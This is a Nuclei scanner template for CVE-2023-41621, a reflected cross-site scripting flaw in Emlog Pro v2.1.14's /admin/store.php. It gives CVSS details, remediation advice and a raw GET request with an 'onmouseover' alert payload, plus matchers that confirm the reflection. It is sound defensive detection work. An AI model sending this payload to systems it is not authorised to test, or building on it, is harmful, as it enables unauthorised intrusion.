Emlog Pro v2.1.14 - Cross-Site Scripting

ID: CVE-2023-41621

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,emlog,xss

Description

Cross Site Scripting (XSS) vulnerability in Emlog Pro v2.1.14 via /admin/store.php.

YAML Source

id: CVE-2023-41621

info:
  name: Emlog Pro v2.1.14 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in Emlog Pro v2.1.14 via /admin/store.php.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update Emlog Pro to the latest version to mitigate the XSS vulnerability (CVE-2023-41621).
  reference:
    - https://github.com/GhostBalladw/wuhaozhe-s-CVE/blob/main/CVE-2023-41621
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41621
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:emlog:emlog:2.1.14:*:*:*:pro:*:*:*
  metadata:
    vendor: emlog
    product: emlog
    max-request: 1
    fofa-query: title="emlog"
  tags: cve,cve2023,emlog,xss

http:
  - raw:
      - |
        GET /admin/store.php?"onmouseover='alert(document.domain)'bad=" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "onmouseover='alert(document.domain)'bad="
          - "emlog"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204a204b4dea0a94aab8b7342ca279642955d80ca4397e6a1d8c6f4d6be91b48d0022100a9382b310e17e34c5b5512f574b82432b3693d71046f7ffc0f3dfa951a338a29:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-41621.yaml"

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